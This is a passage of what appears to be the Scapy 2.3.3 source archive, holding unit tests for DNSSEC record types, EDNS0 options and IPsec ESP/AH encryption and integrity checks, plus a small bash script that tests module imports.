'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' RRlist2bitmap(bitmap2RRlist(b)) == b = [0] b= '\x00\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [0,1,2,3,4,5,6,7] b = '\x00\x01\xff' RRlist2bitmap(bitmap2RRlist(b)) == b = [256,512,4096,36864] b = '\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [65535] b = '\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' RRlist2bitmap(bitmap2RRlist(b)) == b + Test NSEC RR = DNSRRNSEC(), basic instanciation t = DNSRRNSEC() str(t) == '\x00\x00/\x00\x01\x00\x00\x00\x00\x00\x01\x00' = DNSRRRNSEC(), check parameters t = DNSRRNSEC(rrname="scapy.secdev.org.", rclass=42, ttl=28, nextname="www.secdev.org.", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) str(t) == '\x05scapy\x06secdev\x03org\x00\x00/\x00*\x00\x00\x00\x1c\x000\x03www\x06secdev\x03org\x00\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3 RR = DNSRRNSEC3(), basic instanciation t = DNSRRNSEC3() str(t) == '\x00\x002\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00' = DNSRRRNSEC3(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt="\x28\x07", hashlength=31, nexthashedownername="XXX.scapy.secdev.org", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) str(t) == '\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00<\x07\x00\x00P\x1c(\x07\x1fXXX.scapy.secdev.org\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3PARAM RR = DNSRRNSEC3PARAM(), basic instanciation t = DNSRRNSEC3PARAM() str(t) == '\x00\x003\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00' = DNSRRRNSEC3PARAM(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt="\x28\x07") str(t) == '\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00\x08\x07P\x00P\x1c(\x07\x00' + Test RRSIG RR = DNSRRRSIG(), basic instanciation t = DNSRRRSIG() str(t) == '\x00\x00.\x00\x01\x00\x00\x00\x00\x00\x13\x00\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DNSRRRSIG(), check parameters t = DNSRRRSIG(rrname="test.example.com.", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname="test.rsig", signature="test RSIG") str(t) == '\x04test\x07example\x03com\x00\x00.\x00\x0c\x00\x00\x00@\x00&\x00\x01\x05\x00\x00\x00\n\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x04test\x04rsig\x00test RSIG' = DNSRRRSIG(), dissection rrsig = '\x03isc\x03org\x00\x00.\x00\x01\x00\x00\x96O\x00\x9b\x00\x02\x05\x02\x00\x00\xa8\xc0K-3\xd9K\x05\xa6\xd9\xed6\x03isc\x03org\x00\xac\xb2_I\x9e\xdcU\xca/3\x1c\xdf{\xba\xd5\x80\xb0 \xa4~\x98\x95\xab~\x84\xb2\x1f9\x17#\x7f\xfeP\xb9\xfb\x8d\x13\x19\xd7\x7f\x9e/\x1c\xd7rv<\xc6\xd3\xf1\xae8\rh\xba\x1e\xaa\xe6\xf1\x1e\x1d\xdaS\xd4\\\xfd\xa3`P\xa1\xe0\xa2\x860\xd4?\xb4}j\x81O\x03\xdc&v\x13\xd4(k\xa07\x8f-\x08e\x06\xff\xb8h\x8f\x16j\xe4\xd92\xd2\x99\xc2\xb4' t = DNSRRRSIG(rrsig) t.rrname == 'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == '\xd2\x99\xc2\xb4' + Test DNSKEY RR = DNSRRDNSKEY(), basic instanciation t = DNSRRDNSKEY() str(t) == '\x00\x000\x00\x01\x00\x00\x00\x00\x00\x04\x01\x00\x03\x05' and t.sprintf("%flags%") == 'Z' = DNSRRDNSKEY(), check parameters t = DNSRRDNSKEY(rrname="www.secdev.org.", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey="strong public key") str(t) == '\x03www\x06secdev\x03org\x00\x00*\x00\x0c\x00\x00\x04\xd2\x027\n\xf7\xc3Bstrong public key' = DNSRRDNSKEY(), dissection t = DNSRRDNSKEY('\x03dlv\x03isc\x03org\x00\x000\x00\x01\x00\x00\x1bq\x01\t\x01\x01\x03\x05\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a') t.rrname == "dlv.isc.org." and t.rdlen == 265 and t.sprintf("%flags%") == 'SZ' and t.publickey == '\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a' + Test DS and DLV RR = DNSRRDS() and DNSRRDLV(), basic instancaition ds = DNSRRDS() dlv = DNSRRDLV(type=43) str(ds) == str(dlv) = DNSRRDS(), check parameters t = DNSRRDS('\x03isc\x03org\x00\x00+\x00\x01\x00\x01Q(\x00\x182\\\x05\x01\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y') t.rrname == 'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == '\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y' + Test TXT RR = DNSRR(type="TXT") instanciation t = DNSRR(type="TXT", rdata="test") = DNSRRR(), check parameters t = DNSRR('\x04test\x00\x00\x10\x00\x01\x00\x00\x00\x00\x018\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipments ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.') t.type == 16 and t.rdlen == 312 and t.rdata[:5] == "Scapy" and t.rdata[-10:] == "discovery." scapy-2.3.3/test/edns0.uts000066400000000000000000000045441300136037300153660ustar00rootroot00000000000000# DNS OPT Ressource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/edns0.uts -F + Test EDNS0 rdata = EDNS0TLV(), basic instanciation tlv = EDNS0TLV() str(tlv) == '\x00\x00\x00\x00' = EDNS0TLV(), check parameters tlv = EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv") str(tlv) == '\x00*\x00\x0cedns0tlv' = EDNS0TLV(), check computed optlen tlv = EDNS0TLV(optdata="edns0tlv") str(tlv) == '\x00\x00\x00\x08edns0tlv' = EDNS0TLV(), dissection tlv = EDNS0TLV('\x00*\x00\x08edns0tlv') tlv.optcode == 42 and tlv.optlen == 8 and tlv.optdata == "edns0tlv" + Test OPT RR = DNSRROPT(), basic instanciation opt = DNSRROPT() str(opt) == '\x00\x00)\x10\x00\x00\x00\x80\x00\x00\x00' = DNSRROPT(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV()]) str(opt) == '\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00\x00\x00\x00' = DNSRROPT() & EDN0TLV(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv")]) str(opt) == '\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00*\x00\x0cedns0tlv' = DNSRROP(), dissection opt = DNSRROPT('\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x0c\x00*\x00\x0cedns0tlv') opt.rrname == "rropt." and opt.rdlen == 12 and opt.rdata[0].optcode == 42 and opt.rdata[0].optdata == "edns0tlv" + Test EDNS-PING = EDNS-PING - basic instanciation tlv = EDNS0TLV(optcode=5, optdata="\x00\x11\x22\x33") str(tlv) == '\x00\x05\x00\x04\x00\x11"3' #= EDNS-PING - Live test #~ netaccess #* NB: 85.17.219.217 and www.edns-ping.org seem down #r = sr1(IP(dst="85.17.219.217")/UDP()/DNS(qd=[DNSQR(qtype="A", qname="www.edns-ping.org.")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="PING", optdata="\x00\x11\x22\x33")])]), timeout=1) #len(r.ar) and r.ar.rdata[0].optcode == 4 # XXX: should be 5 + Test DNS Name Server Identifier (NSID) Option = NSID- basic instanciation tlv = EDNS0TLV(optcode=2, optdata="") str(tlv) == '\x00\x02\x00\x00' = NSID - Live test ~ netaccess r = sr1(IP(dst="l.root-servers.net")/UDP()/DNS(qd=[DNSQR(qtype="SOA", qname=".")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="NSID")])]), timeout=1) len(r.ar) and DNSRROPT in r.ar and len(r.ar[DNSRROPT].rdata) and len([x for x in r.ar[DNSRROPT].rdata if x.optcode == 3]) scapy-2.3.3/test/import_tester000066400000000000000000000002621300136037300164340ustar00rootroot00000000000000#! /bin/bash cd "$(dirname $0)/.." find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//' | while read a; do echo "######### $a"; python -c "import $a"; done scapy-2.3.3/test/ipsec.uts000066400000000000000000000471531300136037300154630ustar00rootroot00000000000000############################## % IPSec layer regression tests ############################## ############################################################################### + IPv4 / ESP ####################################### = IPv4 / ESP - Transport - AES-CBC - NULL import socket p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert('testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert('testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert('testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace('\x01', '\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ####################################### = IPv4 / ESP - Tunnel - AES-CTR - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CTR', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert('testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace('\x01', '\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ############################################################################### + IPv6 / ESP ####################################### = IPv6 / ESP - Transport - DES - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='DES', crypt_key='8bytekey', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an ESP layer assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert('testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-MD5-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an ESP layer assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an ESP layer assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace('\x01', '\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ####################################### = IPv6 / ESP - Tunnel - 3DES - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert('testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d == p) ####################################### = IPv6 / ESP - Tunnel - NULL - SHA2-384-192 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet should be preserved assert(d == p) ####################################### = IPv6 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert('testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace('\x01', '\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ############################################################################### + IPv4 / AH ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before decryption e[TCP].sport = 5 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ############################################################################### + IPv6 / AH ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d == p) ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError, err: err ############################################################################### + IPv6 + Extensions / AH ####################################### = IPv6 + Extensions / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrRouting() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrFragment() p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and the dest options header assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, IPv6ExtHdrDestOpt)) ####################################### = IPv6 + Routing Header / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= 